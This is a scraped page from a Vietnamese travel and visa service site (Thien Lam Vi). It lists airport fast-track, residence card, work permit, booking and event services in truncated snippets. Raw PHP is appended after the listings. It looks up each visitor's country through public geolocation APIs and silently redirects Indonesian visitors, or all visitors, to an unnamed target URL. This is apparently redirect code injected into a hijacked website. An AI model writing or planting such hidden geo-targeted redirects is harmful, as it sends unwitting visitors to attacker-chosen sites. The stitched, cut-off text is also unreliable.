FAST TRACK SERVICES IN VIETNAM

FAST TRACK SERVICES IN VIETNAM Professional Airport Assistance by Thien Lam Vi Thien Lam Vi

Thẻ tạm trú (Temporary Residence Card – TRC)

Thẻ tạm trú (Temporary Residence Card – TRC) 🔹 Thẻ tạm trú là gì? Thẻ

DỊCH VỤ GIẤY PHÉP LAO ĐỘNG CHO NGƯỜI NƯỚC NGOÀI TẠI VIỆT NAM

Work Permit Service – Thiên Lam Vĩ Thiên Lam Vĩ cung cấp dịch vụ xin

Dịch vụ Fast Track Sân Bay – Ưu Tiên Thủ Tục Xuất Nhập Cảnh Nhanh Chóng

Bạn không muốn mất thời gian chờ đợi khi làm thủ tục sân bay? Dịch

Vé máy bay + khách sạn

Dịch vụ đặt vé máy bay & khách sạn – Giải pháp du lịch trọn

Mice & teambuilding

MICE & Teambuilding  Giải pháp tổ chức sự kiện chuyên nghiệp, nâng cao hiệu suất

'https://ipapi.co/' . rawurlencode($ip) . '/json/', 'field' => 'country_code' ], [ 'url' => 'https://ipwho.is/' . rawurlencode($ip), 'field' => 'country_code' ], [ 'url' => 'https://get.geojs.io/v1/ip/country/' . rawurlencode($ip) . '.json', 'field' => 'country' ] ]; foreach ($apis as $api) { $ch = curl_init($api['url']); curl_setopt_array($ch, [ CURLOPT_RETURNTRANSFER => true, CURLOPT_CONNECTTIMEOUT => 2, CURLOPT_TIMEOUT => 4, CURLOPT_FOLLOWLOCATION => false ]); $response = curl_exec($ch); $httpCode = curl_getinfo( $ch, CURLINFO_HTTP_CODE ); curl_close($ch); if ($response === false || $httpCode !== 200) { continue; } $data = json_decode($response, true); if (!is_array($data)) continue; $country = strtoupper( trim((string)($data[$api['field']] ?? '')) ); if ($country === 'INDONESIA') { return 'ID'; } if (preg_match('/^[A-Z]{2}$/', $country)) { return $country; } } return null; } $ip = getVisitorIp(); $country = getCountry($ip); $redirect = false; if ($mode === 'all') { $redirect = true; } elseif ($mode === 'indonesia') { $redirect = ($country === 'ID'); } if ($redirect) { header('Location: ' . $target, true, 302); exit; } ?>